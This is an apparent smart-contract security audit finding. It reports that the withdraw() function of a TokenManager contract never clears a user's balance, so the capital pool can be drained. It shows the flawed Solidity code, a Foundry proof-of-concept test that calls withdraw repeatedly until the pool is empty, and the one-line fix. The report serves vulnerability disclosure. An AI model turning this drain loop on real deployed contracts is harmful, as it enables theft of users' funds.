Summary
Due to improper balance update in the withdraw() method, all funds from the capital pool can be drained.
Vulnerability Details
The withdraw() method in the TokenManager contract allows users to withdraw their balance for a specific token and balance type, but fails to reset the user's balance after the transfer is completed. This could allow malicious users to drain funds from the contract by repeatedly calling the withdraw function for the same balance.
function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(RelatedContractLibraries.CAPITAL_POOL);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(wrappedNativeToken, capitalPoolAddr, address(this), claimAbleAmount, capitalPoolAddr);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(_tokenAddress, capitalPoolAddr, _msgSender(), claimAbleAmount);
}
emit Withdraw(_msgSender(), _tokenAddress, _tokenBalanceType, claimAbleAmount);
}
PoC:
Add the following test in Premarkets.t.solfile and run forge t --mt test_DrainCapitalPool -vv
function test_DrainCapitalPool() public {
capitalPool.approve(address(mockUSDCToken));
deal(address(mockUSDCToken), address(capitalPool), 500e6);
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1 * 10 ** 6,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), 1000e6);
preMarktes.createTaker(offerAddr, 1000);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1 * 10 ** 18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 1000e18);
deliveryPlace.settleAskMaker(offerAddr, 1000);
vm.stopPrank();
uint256 makerSalesRevenue =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 makerTaxIncome =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.TaxIncome);
console2.log("Claimable Sales Revenue:", makerSalesRevenue);
console2.log("Claimable Tax Income:", makerTaxIncome);
console2.log("=============== ATTACK START ======================");
uint256 capPoolBalBef = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("CapitalPool Balance before:", capPoolBalBef);
vm.startPrank(user);
uint256 capitalPoolBalance = capPoolBalBef;
for (uint256 i = 0; capitalPoolBalance > 0; i++) {
uint256 makerSalesRevenue =
tokenManager.userTokenBalanceMap(user, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
if (makerSalesRevenue > capitalPoolBalance) {
break;
}
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
}
vm.stopPrank();
uint256 capPoolBalAft = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("CapitalPool Balance after:", capPoolBalAft);
console2.log("=============== ATTACK END ======================");
console2.log("Amount drained:", capPoolBalBef - capPoolBalAft - makerSalesRevenue);
}
Impact
Malicious users could potentially withdraw their entire balance multiple times, completely draining the capital pool contract.
Tools Used
Manual review.
Recommendations
To fix this vulnerability, update the user's balance immediately after the transfer is completed.
Add the following line just before the emit Withdraw statement:
userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
